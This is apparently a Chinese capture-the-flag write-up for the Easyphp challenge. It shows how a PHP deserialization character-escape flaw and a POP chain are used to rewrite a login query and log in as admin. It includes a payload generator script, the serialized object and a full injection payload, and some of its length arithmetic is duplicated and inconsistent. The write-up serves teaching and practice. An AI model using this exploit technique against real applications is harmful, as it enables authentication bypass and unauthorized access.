BUUCTF:GYCTF2020/新春战疫Easyphp

参考:https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2

在这里插入图片描述
新春战疫原题在BUU上的复现,反序列化配合字符逃逸
源码泄露www,zip
在这里插入图片描述
PHP反序列化的字符逃逸的原理
PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串
获取flag的条件在update.php中

<?php
//update.php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

只要以admin身份登陆就给flag

接下来看到lib.php的dbCtrl类

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

得知:

  1. admin用户存在,当$this->password的md5值与数据库查询的密码相同即可登录成功
  2. token值为admin也可

这里的sql查询语句为select id,password from user where username=?
通过控制这里的sql执行语句即可通过登录的密码验证
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
c4ca4238a0b923820dcc509a6f75849b是1的MD5值

接下里就是如何构造POP链去控制sql执行语句:

lib.php中UpdateHelper::__destruct()中有输出,将$sql实例化为User类的对象,在该类被结束销毁时调用User::__toString方法

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}

接着在User::__toString方法,用$nickname变量调用了update()函数,以$age变量作为参数,将$nickname实例化为Info类的对象,从而可以调用Info::__call方法,并且以$age中的值作为参数

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

Info::__call方法,$CtrCase调用了login()方法,参数是User.age的值传进来的,这样只需要将这个类里的$CtrlCase变量实例化为dbCtrl类的对象,这样就相当于调用了dbCtrl::login($sql),而且参数sql语句也可以控制

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

最后对dbCtrl类里的一些变量赋值成我们构造的即可,并且dbCtrl::login($sql)中的$sql参数,实际上是User类中$age变量传入的

反序列化payload脚本如下:

<?php
class User
{
    public $age = null;
    public $nickname = null;
    public function __construct()
    {
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname = new Info();
    }
}
class Info
{
    public $CtrlCase;
    public function __construct()
    {
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{
    public $sql;
    public function __construct()
    {
        $this->sql = new User();
    }
}
class dbCtrl
{
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

运行得到:

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

接下来就是将序列化的字符串反序列化
反序列化利用点,update.php可以跟进到User类的update()函数:

public function update()
{
	$Info = unserialize($this->getNewinfo());  
	$age = $Info->age;
	$nickname = $Info->nickname; 
	$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']); 
}

可以看到反序列化的是getNewinfo()函数的返回值,跟进这个函数:

public function getNewInfo()
{
    $age = $_POST['age'];
    $nickname = $_POST['nickname'];
    return safe(serialize(new Info($age, $nickname)));  
}

这个函数的返回值是一个先序列化再经过safe()函数处理的Info类对象。

所以最终能够反序列化的不是我们直接传入的字符串,而是用我们传入的值实例化一个Info类的对象,然后对这个对象进行序列化,载对这个序列化结果进行safe() 处理,最后得到的值再进行反序列化。

safe()函数如下,如果你了解反序列化的字符逃逸原理,那么很容易看出这个函数的问题:将长度小于6的字符串直接替换成了长度为6的hacker

function safe($parm)
{
    $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
    return str_replace($array, 'hacker', $parm);
}

如果我们将刚才得到的payload直接用age或nickname参数传入的化,其实际上只会被当成Info类里的一个很长的字符串,并不能被反序列化得到执行。

所以要想反序列化我们的payload,就得控制Info类对象的序列化串,看一下这个序列化串的格式(假设age为20,nickname为lethe):

O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:5:"lethe";s:8:"CtrlCase";N;}

原理上有点类似注入,需要闭合构造符合规则的序列化串。

假设我们要通过nickname参数来注入,先看一下我们构造的payload如下(未逃逸字符串前):

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

可以看到我们在而已序列化串前加上了";s:8:“CtrlCase”;,在最后加上了一个}(整个长度为263),这样我们将其作为new Info( a g e , age, nickname)的nickname传入时,序列化的结果如下:
在这里插入图片描述
上图中两个箭头之间的内容就是我们传入的payload,可以看到我们在第一个箭头那里是想闭合双引号,从而使后面的内容符合序列化的规则的。但是我圈出来的那个263在序列化的规则里,限制了nickname的长度为263,所以后面长度为263的payload还是当作了一个普通字符串,而不是序列化里的内容。

这时候就需要用到字符逃逸的原理了,我们在payload2的前面加上263个union,这样我上面圈出来的值就变成了263×5+263=1578263×5+263=1578263×5+263=1578,上面第一个箭头所指的双引号里是263个union(长度为263×5=1315263×5=1315263×5=1315),当对这个序列化串进行safe()函数的处理时,所有的union都被替换成了hacker,也就是双引号里的内容变成了263个hacker(长度为263×6=1578263×6=1578263×6=1578),正好等于前面的1579,如下:

在这里插入图片描述
上面的图可以看出来经过safe()函数处理后,这个序列化串就被解释成了nickname变量长度为1586的重复hacker字符串,而我们的而已序列化payload,则以对象的形式作为CtrCase变量的值。
而之所前面构造的时候在最后面加一个},是因为Info类的对象只有3个变量(第一个箭头所指),当到我们第二个箭头所指的位置时,前面已经有3个变量满足了序列化串的要求了,所以加一个}来闭合整个序列化串。这样由于前面的内容已经符合反序列化的规则,所以后面的内容都将被忽略。

最终payload如下:

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

在update.php当中POST传入payload,然后再login.php任意密码登录admin账户

在这里插入图片描述
在这里插入图片描述

发布了96 篇原创文章 · 获赞 25 · 访问量 7064

猜你喜欢

转载自blog.csdn.net/mochu7777777/article/details/105175949